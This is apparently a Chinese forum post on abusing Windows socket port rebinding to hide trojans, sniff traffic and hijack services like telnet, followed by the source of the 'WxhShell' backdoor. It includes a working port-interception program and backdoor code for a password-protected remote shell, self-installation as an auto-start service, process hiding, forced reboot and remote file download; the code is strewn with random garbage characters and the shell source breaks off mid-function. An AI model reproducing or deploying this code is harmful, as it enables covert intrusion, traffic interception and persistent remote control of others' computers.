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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "7kgez#Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _{e&@ d  
]yAEjn9cN  
  saddr.sin_family = AF_INET; V$dJmKg  
3}B5hht "D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )W8L91-  
S5~`T7Ra  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9H h~ nR?  
(Qk&g"I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #\pP2  
Hz}+SAZ  
  这意味着什么?意味着可以进行如下的攻击: <i}q=%W!1  
2{t)DUs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dD/t_ {h  
w"cM<Ewu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k42b:W5%  
f?%qUD_#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oGm1d{_-O  
>Hi h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J`w]}GlH  
m[Z6VHn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f49"pTw7  
i2$*}Cu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 > P<z |8  
S dIGU[fm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QXdaMc+Ck  
M^z=1YrMd  
  #include 0iYP  
  #include 1"}B]5!  
  #include 8 +"10q-  
  #include    aXe{U}eow  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ispkj'  
  int main() xC-BqVJ%_T  
  { 79D=d'e A  
  WORD wVersionRequested; su&t7rJ  
  DWORD ret; RCI4~q  
  WSADATA wsaData; 16I&7=S,  
  BOOL val; uie~'K\y  
  SOCKADDR_IN saddr; Mx8Gu^FW.d  
  SOCKADDR_IN scaddr; s=MT,  
  int err; T^~)jpkw  
  SOCKET s; %yp5DD}|  
  SOCKET sc; [s~JceUyX  
  int caddsize; =HVfJ"vK  
  HANDLE mt; 25d\!3#E  
  DWORD tid;   `gt:gx>a  
  wVersionRequested = MAKEWORD( 2, 2 ); UP\C"\  
  err = WSAStartup( wVersionRequested, &wsaData ); F\5X7 ditD  
  if ( err != 0 ) { OB~C}'^$  
  printf("error!WSAStartup failed!\n"); %JQ~!3  
  return -1; ;{k=C2  
  } O#Z/+\U  
  saddr.sin_family = AF_INET; ;)?( 2 wP  
   }|Uj"e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .`,F  
Hle\ON  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QC{u|  
  saddr.sin_port = htons(23); Q"%QQo}}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u FZ~  
  { Vo,[EVL  
  printf("error!socket failed!\n"); Gzw@w{JBL  
  return -1; eIg+PuQD]  
  } iU5P$7.p  
  val = TRUE; ?q _^Rj$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qe$33f*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y;nvR6)  
  { Ry z?v<)h  
  printf("error!setsockopt failed!\n"); ?6f7ld5  
  return -1; w$j{Hp6m  
  } D+sQPymI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XA)'=L!^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o'Wz*oY))\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yHNuU)Ft  
*/w7?QOv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *YtB )6j  
  { jY/ARBC}H  
  ret=GetLastError(); ZQAO"huk]  
  printf("error!bind failed!\n"); dv~pddOs  
  return -1; o@W_ai_  
  } R`#W wx>b  
  listen(s,2); 2no$+4+z  
  while(1) NQX>Qh 2  
  { byGn,m  
  caddsize = sizeof(scaddr); XA<ozq'  
  //接受连接请求 ZyI$M3{J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rkDi+D6`q  
  if(sc!=INVALID_SOCKET) T#EFXHPr  
  { Zw{MgoJ0Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mnjs(x<m  
  if(mt==NULL) |sIr?RL{C  
  { $DebXxJw0l  
  printf("Thread Creat Failed!\n"); "R[l ZJ@  
  break; ?Ik4  
  } WC*=rWRxF  
  } Bz /@c)  
  CloseHandle(mt); E.`6oX\L|  
  } :,S98z#  
  closesocket(s); #HAC*n  
  WSACleanup(); T95t"g?p  
  return 0; qMP1k7uG)  
  }   _=EKXE)&}  
  DWORD WINAPI ClientThread(LPVOID lpParam) kWhr1wR1  
  { c_.-b=zm  
  SOCKET ss = (SOCKET)lpParam; Ez+Z[*C  
  SOCKET sc; !eI2 r   
  unsigned char buf[4096]; T2FE+A]n9  
  SOCKADDR_IN saddr; J?&l*_m;t  
  long num; 8wK ~ i  
  DWORD val; ,.tfWN%t\  
  DWORD ret; /<Ld'J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ps4 ZFX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4!.(|h@  
  saddr.sin_family = AF_INET; vLT0ETHg6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n,$z>  
  saddr.sin_port = htons(23); 4J0Rv od_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a5jL7a?6]  
  { k; ZxY"^  
  printf("error!socket failed!\n"); -/P\"c  
  return -1; x/ *-P b-_  
  }  :A1:  
  val = 100; BU|#e5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lpB3&H8&  
  { @FO) 0  
  ret = GetLastError(); ?jx1R^  
  return -1; =elpH^N  
  } z (?=Iv3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oz: *LZ  
  { ocz G|_  
  ret = GetLastError(); 9(4&KZpK  
  return -1; k,yZ[n|`  
  } O@V%Cu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '' O7=\  
  { iBTYY{-wF  
  printf("error!socket connect failed!\n"); #_93f |  
  closesocket(sc); cy yVg!+  
  closesocket(ss); )3Z ^h<"j  
  return -1; Z;/$niY  
  } <r#eL39I  
  while(1) 4)|8Eu[p7  
  { >TkE~7?l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G3G#ep~)vC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .Z:zZ_Ev  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ="wzq+U  
  num = recv(ss,buf,4096,0); L>y J  
  if(num>0) 1 i[\T  
  send(sc,buf,num,0); #9-P%%kQ  
  else if(num==0) li~d?>  
  break; FKNMtp[`  
  num = recv(sc,buf,4096,0); (8.Z..PH  
  if(num>0) hd),&qoW?  
  send(ss,buf,num,0); WmY``  
  else if(num==0) l&iq5}[n&  
  break; 7(5xL T$  
  } pn.wud}R  
  closesocket(ss); P9g en6  
  closesocket(sc); =6"2UC&  
  return 0 ; b2b^1{@h;v  
  } v\m ]A1  
 A) ;  
KD`IX-r{s  
========================================================== vnWWneeNr  
[0"'T[ok  
下边附上一个代码,,WXhSHELL BZ zrRC  
Ut2y;2)a  
========================================================== Hemq +]6^  
JSW^dw&  
#include "stdafx.h" sZx/Ee   
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#include <stdio.h> fQ#l3@in  
#include <string.h> Vx~,Uex0+  
#include <windows.h> cSXwYZDx?  
#include <winsock2.h> +=O5YR!{  
#include <winsvc.h> tmQH|'>>  
#include <urlmon.h> .Fdgb4>BXX  
xuqv6b.  
#pragma comment (lib, "Ws2_32.lib") F(tx)V ~T3  
#pragma comment (lib, "urlmon.lib")  o4|M0  
W[Ls|<Q  
#define MAX_USER   100 // 最大客户端连接数 6@rMtQfI  
#define BUF_SOCK   200 // sock buffer "rx-_uK*  
#define KEY_BUFF   255 // 输入 buffer 5H*\t 7  
S:h{2{  
#define REBOOT     0   // 重启 :]\([Q+a  
#define SHUTDOWN   1   // 关机 YB-h.1T-  
i\,-oO  
#define DEF_PORT   5000 // 监听端口 Zl^\Q=*s  
Tj:B!>>  
#define REG_LEN     16   // 注册表键长度  #"@|f  
#define SVC_LEN     80   // NT服务名长度 HMSO=)@+  
vEJWFoeEFm  
// 从dll定义API wne,e's}   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #ZB~ x6i6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >m$1Xx4#GV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f&Gt|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <g"{Wv: h  
SLa>7`<Q  
// wxhshell配置信息 U~:-roQ(\  
struct WSCFG { 4 o Fel.o  
  int ws_port;         // 监听端口 Gefne[  
  char ws_passstr[REG_LEN]; // 口令 =vX/{C  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'uBu6G  
  char ws_regname[REG_LEN]; // 注册表键名 LY%WD%pL  
  char ws_svcname[REG_LEN]; // 服务名 MN\HDKN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a<^v(r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o~`/_ +  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _852H$H\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `sn^ysp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fD[*_^;h)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HiZ*+T.B  
ZOh`(})hy  
}; X% t1 T4  
0XE4<U   
// default Wxhshell configuration u_oaebOrpP  
struct WSCFG wscfg={DEF_PORT, CsGx@\jN  
    "xuhuanlingzhe", 9jM}~XvV  
    1, G<65H+)M\  
    "Wxhshell", m| n  
    "Wxhshell", d; boIP`M;  
            "WxhShell Service", ag [ZW  
    "Wrsky Windows CmdShell Service", m*&]!mM"0G  
    "Please Input Your Password: ", f6hnTbJ  
  1, e"{{ TcNk  
  "http://www.wrsky.com/wxhshell.exe", 'DP1,7  
  "Wxhshell.exe" ,Vc6Gwm  
    }; 5_GYrR2  
,wQ5.U,  
// 消息定义模块 11 Q1AN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Y^+M*   
char *msg_ws_prompt="\n\r? for help\n\r#>"; fK>L!=Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xQ7l~O b  
char *msg_ws_ext="\n\rExit."; rBQ_iB_  
char *msg_ws_end="\n\rQuit."; ,LHn90S  
char *msg_ws_boot="\n\rReboot..."; !|S(Ms  
char *msg_ws_poff="\n\rShutdown..."; P) Jgs  
char *msg_ws_down="\n\rSave to ";  dm\F  
8V'~UzK  
char *msg_ws_err="\n\rErr!"; 6AAz  
char *msg_ws_ok="\n\rOK!"; B-*+r`@Bd  
)1?y 8_B  
char ExeFile[MAX_PATH]; ejSji-Qd  
int nUser = 0; ^pp\bVh2Q]  
HANDLE handles[MAX_USER]; p $S*dr  
int OsIsNt; l!D}3jD  
l{*@v=b(  
SERVICE_STATUS       serviceStatus; h79}qU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S|Q@:r"  
KjD/o?JUr  
// 函数声明 (p"%O  
int Install(void); W: z6Koc0  
int Uninstall(void); !z\h| wU+  
int DownloadFile(char *sURL, SOCKET wsh); G<L;4nA)  
int Boot(int flag); S\CCrje  
void HideProc(void); ( >LF(ll  
int GetOsVer(void); OAgniLv  
int Wxhshell(SOCKET wsl); )v'WWwXY>  
void TalkWithClient(void *cs); tHU2/V:R  
int CmdShell(SOCKET sock); 5?f ^Rz  
int StartFromService(void); "BM#4  
int StartWxhshell(LPSTR lpCmdLine); nGC/R&  
/p/]t,-j2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _P!m%34|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tR# OjkvX  
/4yo`  
// 数据结构和表定义 #$.;'#u'so  
SERVICE_TABLE_ENTRY DispatchTable[] = D, k6$`  
{ >R'F,  
{wscfg.ws_svcname, NTServiceMain}, .#EFLXs  
{NULL, NULL} p'Y^ X  
}; Fn wJ+GTu  
0 j^Kgx  
// 自我安装 n*h)'8`Ut  
int Install(void) d9k0F OR1  
{ u2tfF  
  char svExeFile[MAX_PATH]; QFA8N  
  HKEY key; v_yw@  
  strcpy(svExeFile,ExeFile); P?%s #I:  
,>:U2%  
// 如果是win9x系统,修改注册表设为自启动 kpuz]a7pK  
if(!OsIsNt) { +V2F#fI/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \P[Y`LYL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z[ N`s$;  
  RegCloseKey(key); aHD]k8 m z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %mW{n8W3{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Om*@;r(  
  RegCloseKey(key); %O;:af"Ja8  
  return 0; [z:!j$K  
    } vz&|J   
  } #`^}PuQ  
} ;[ZEDF5H  
else { juJklSD  
7^avpf)>  
// 如果是NT以上系统,安装为系统服务 "69s) ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I^.Om])  
if (schSCManager!=0) U4'#T%*  
{ w?L6!)oiz  
  SC_HANDLE schService = CreateService 10Q ]67  
  ( aj='b.2)  
  schSCManager, @F AA2 d  
  wscfg.ws_svcname, x>K Or,f  
  wscfg.ws_svcdisp, Ov@gh kr  
  SERVICE_ALL_ACCESS, }J}-//[A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  $c!p&  
  SERVICE_AUTO_START, AI2)g1m  
  SERVICE_ERROR_NORMAL, g&L!1<, p  
  svExeFile, HZE#Ab*L  
  NULL, \doUTr R  
  NULL, "x0^#AVg  
  NULL, E_rI?t^  
  NULL, !)f\%lb  
  NULL zpn9,,~u  
  ); 9c bd~mM{  
  if (schService!=0) :U|1xgB  
  { LE Nq_@$  
  CloseServiceHandle(schService); (TtkFo'!U  
  CloseServiceHandle(schSCManager); M)Z7k/=<P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K8|r&`X0  
  strcat(svExeFile,wscfg.ws_svcname); bW427B0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %6 zB Sje  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5Pc;5 o0C  
  RegCloseKey(key); [\e eDa  
  return 0; -m zIT4  
    } B3`5O[ 6  
  } a=_g*OK}D  
  CloseServiceHandle(schSCManager); =ZznFVJ`={  
} 1ba~SHi  
} bSlF=jT[S  
/{J4:N'B>  
return 1; z|J_b"u4  
} R_cA:3qc~  
/U*C\ xMm  
// 自我卸载 Tk[ $5u*,  
int Uninstall(void) oH?b}T=9jz  
{ 9rX&uP)j^#  
  HKEY key; 3*XNV  
{w O|)|  
if(!OsIsNt) { r|8d 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;4\ 2.* s  
  RegDeleteValue(key,wscfg.ws_regname); i^&~?2  
  RegCloseKey(key); < NY^M!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O:R*rJ  
  RegDeleteValue(key,wscfg.ws_regname); 05#1w#i  
  RegCloseKey(key); &|1<v<I5  
  return 0; m 9WDT  
  } NiEUW.0  
} ?!:ha;n  
} +o{R _  
else { r +i($ jMs  
bH9kj/q\b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | j`@eF/"  
if (schSCManager!=0) P1 8hxXE3  
{ 9L?.m&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \)904W5R  
  if (schService!=0) [b%D3-}'  
  { SM#]H-3  
  if(DeleteService(schService)!=0) { bo>*fNqAIy  
  CloseServiceHandle(schService); T*Exs|N2P-  
  CloseServiceHandle(schSCManager); HZB>{O  
  return 0; 5lmHotj#  
  } #Y`~(K47  
  CloseServiceHandle(schService); _/$Bpr{R  
  } {\"x3;3!6  
  CloseServiceHandle(schSCManager); 7kLz[N6Ll  
} <c-=3}=U\  
} G6P?2@  
IqHV)A  
return 1; #U4F0BdA  
} YUD`!C  
4r#= *  
// 从指定url下载文件 3{64 @s  
int DownloadFile(char *sURL, SOCKET wsh) 6r0krbN  
{ -#[a7',Z;  
  HRESULT hr; )p0^zv{  
char seps[]= "/"; ]i)c{y  
char *token; 'RR~7h  
char *file; qvsd5PeCO  
char myURL[MAX_PATH]; Wx}8T[A}  
char myFILE[MAX_PATH]; LVfF[  
O2E/jj  
strcpy(myURL,sURL); ,j{,h_Op  
  token=strtok(myURL,seps); B$ PP&/  
  while(token!=NULL) o Q2Fjj  
  { `/XY>T}-  
    file=token; 0B/,/KX  
  token=strtok(NULL,seps); *8Xh(` Mj7  
  } &*,#5.  
HxV=F66"  
GetCurrentDirectory(MAX_PATH,myFILE); nI-w}NQ  
strcat(myFILE, "\\"); Y|f[bw  
strcat(myFILE, file); @7]yl&LZ  
  send(wsh,myFILE,strlen(myFILE),0); pfDc9PMj  
send(wsh,"...",3,0); VcO0sa f`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cWsNr'MS*  
  if(hr==S_OK) ,X-bJA@(  
return 0; h$>-.-  
else zuad~%D<I  
return 1; jyUjlYAAv`  
xd?f2=dd~h  
} u(>^3PJ+  
R6Km\N  
// 系统电源模块 z6=Z\P+  
int Boot(int flag) A@[o;H}XP  
{ Nho>f  
  HANDLE hToken; <4si/=  
  TOKEN_PRIVILEGES tkp; %KhI>O<  
W0@n/U  
  if(OsIsNt) { wedbx00o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (AaoCa[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v6bGjVK[  
    tkp.PrivilegeCount = 1; {0wIR_dGX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5oW!YJg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {OkV%Q<  
if(flag==REBOOT) { %~H-)_d20  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q:G4Z9Kt  
  return 0; +US!YU  
} x_N'TjS^{  
else { i(%W_d!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d9f C<Tp  
  return 0; mI-]/:  
} |^"1{7)  
  } ICx#{q@f,  
  else { {l1.2!  
if(flag==REBOOT) { h6D<go-b56  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ArI2wM/v  
  return 0; 3</_c1~  
} u"cV%(#  
else { VGy<")8D/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ha0M)0Anv  
  return 0; jjB~G^n  
} ,GbR!j@6  
} B[Ku\A6&  
;40/yl3r3[  
return 1; mW(W\'~_~  
} Pe_W;q.  
GbY7_N  
// win9x进程隐藏模块 Y1W1=Uc uk  
void HideProc(void) {yTGAf-DV  
{ B:yGS*.tu  
In"ZIKaC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hc(#{]].  
  if ( hKernel != NULL ) Uou1mZz/  
  { X Swl Tg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1Kw+,.@d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?DS@e@lx  
    FreeLibrary(hKernel); 5FPM`hLT  
  } ~OYiq}g  
+< Nn~1  
return; ,GhS[VJjR  
} wtLO!=B  
$u6"*|  
// 获取操作系统版本 :S{BbQ){]  
int GetOsVer(void) T@H ^BGs  
{ Z!a =dnwHz  
  OSVERSIONINFO winfo; $lfn(b,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hn7# L  
  GetVersionEx(&winfo); !3c\NbU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V# }!-Xj  
  return 1; Fo (fWvz  
  else gS!:+G%  
  return 0; &T?RZ2  
} n:I,PS0H<  
:".ARCg  
// 客户端句柄模块 r..iko]T  
int Wxhshell(SOCKET wsl) <[a=ceL]|  
{ D# 9m\o_  
  SOCKET wsh; 8?B!2  
  struct sockaddr_in client; A_"w^E{P  
  DWORD myID; ^&9zw\x;z  
'6nA F  
  while(nUser<MAX_USER) L81ZbNU?$  
{ <6%?OJhp  
  int nSize=sizeof(client); b i',j0B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hIYNhZv  
  if(wsh==INVALID_SOCKET) return 1; PV.X z0@R  
nK1Slg#U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TNT4<5Ol6  
if(handles[nUser]==0) y>8sZuH0  
  closesocket(wsh); ih-#5M@  
else 7y'RFD9@{  
  nUser++; ch*8B(:  
  } Co9^OF-k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \i>?q   
ol\Utq,  
  return 0; Y,qI@n<  
} {r,.!;mHu  
Q^P}\wb>  
// 关闭 socket ydEoC$?0  
void CloseIt(SOCKET wsh) Y1 w9y  
{ + )AG*  
closesocket(wsh); q^@Q"J =v  
nUser--; c`)\Pb/O  
ExitThread(0);  C#.->\  
} X;+sUj8  
4Co6(  
// 客户端请求句柄  \{_q.;}  
void TalkWithClient(void *cs) N@4w! HpJ  
{ V5@:#BIs  
M/B_#yK  
  SOCKET wsh=(SOCKET)cs; ,C\i^>=  
  char pwd[SVC_LEN]; df8k7D;~e  
  char cmd[KEY_BUFF]; ^ 'MT0j  
char chr[1]; etDk35!h~,  
int i,j; LtO!umM  
(Bb5?fw  
  while (nUser < MAX_USER) { LG9+GszX 2  
vQG5*pR*w  
if(wscfg.ws_passstr) { RF$eQzW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6xmZXp d!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *uRBzO}  
  //ZeroMemory(pwd,KEY_BUFF); )th<,Lo3#  
      i=0; n: ^ d|@  
  while(i<SVC_LEN) { D(op)]8  
oN~&_*FE  
  // 设置超时 'T;P;:!\  
  fd_set FdRead; VOsR An/N  
  struct timeval TimeOut; >0y'Rgfe  
  FD_ZERO(&FdRead); JAnZdfRt  
  FD_SET(wsh,&FdRead); un"Gozmt5  
  TimeOut.tv_sec=8; IVnHf_PzF  
  TimeOut.tv_usec=0; ?T8}K>a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PCee<W_%YE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  #4NaL  
gnf8 l?M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6dr%;Wp  
  pwd=chr[0]; J$DE"| -  
  if(chr[0]==0xd || chr[0]==0xa) { s-!ArB,  
  pwd=0; :as$4|  
  break; ~8Fk(E_  
  } z=\&i\>;Z+  
  i++; \A#41  
    } uk:(pZ-uJ  
\;,+   
  // 如果是非法用户,关闭 socket Xf]d. :  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =%K;X\NB  
} oG?Xk%7&\  
@ CL{D:d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r.&Vw|*>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?pmHFlx  
a(X@Q8l:  
while(1) { .o^l z 9:  
Xza(k  
  ZeroMemory(cmd,KEY_BUFF); wH&!W~M  
;?i W%:_,  
      // 自动支持客户端 telnet标准   `cUl7 'j  
  j=0; Af2( 5]  
  while(j<KEY_BUFF) { dt]-,Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >uB# &Q  
  cmd[j]=chr[0]; `i*E~'  
  if(chr[0]==0xa || chr[0]==0xd) { ` p-cSxR_  
  cmd[j]=0; 6,"Q=9k4[  
  break; U(g:zae  
  } E7UU  
  j++; }B+C~@j  
    } x~~|.C ,  
.@U@xRu7|  
  // 下载文件 _C?hHWSf"  
  if(strstr(cmd,"http://")) { *Kg ks4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ya"a`ozq  
  if(DownloadFile(cmd,wsh)) /nNN,hz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)T^Ch D,  
  else HCs?iJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;m0R  
  } E,U+o $  
  else { !)0;&e5  
'Aq{UGN  
    switch(cmd[0]) { zKJ#`OhT  
  ChPmX+.i_  
  // 帮助 (exa<hh  
  case '?': { <uw9DU7G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ucW-I;"  
    break; _op}1   
  } X51:  
  // 安装 ~KX/ Ai  
  case 'i': { Yk Ki|k  
    if(Install()) oIzj,v8$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |FZ/[9*  
    else @,7GaK\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hRCJv#]HC  
    break; 9 -a0:bP  
    } nT$SfGFj8  
  // 卸载 Hd ={CFip  
  case 'r': { !``,gExH  
    if(Uninstall()) ^%{7}g&$u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); plstZ,#j  
    else 0-Ku7<a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^A&1^B  
    break; $Sip$\+*  
    } `kXs;T6&  
  // 显示 wxhshell 所在路径 +lcbi  
  case 'p': { )}Kf=  
    char svExeFile[MAX_PATH]; z,p~z*4  
    strcpy(svExeFile,"\n\r"); \V~eVf;~  
      strcat(svExeFile,ExeFile); hD!7Cl Q  
        send(wsh,svExeFile,strlen(svExeFile),0); *P=VFP  
    break; D'Df JwA  
    } ~HsJUro  
  // 重启 ^k">A:E2  
  case 'b': { Am|%lj+1z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u `6:5k  
    if(Boot(REBOOT)) ?NsW|w_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vXZOy%$o  
    else { %l[( Iw  
    closesocket(wsh); +\ .Lp 5  
    ExitThread(0); C33J5'(CA  
    } e6$WQd`O  
    break; Kis"L(C  
    } 33B]RGq  
  // 关机 BW*rIn<?G  
  case 'd': { Q/0Tj]D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f 6>b|k~  
    if(Boot(SHUTDOWN)) ( ^Nz9{  
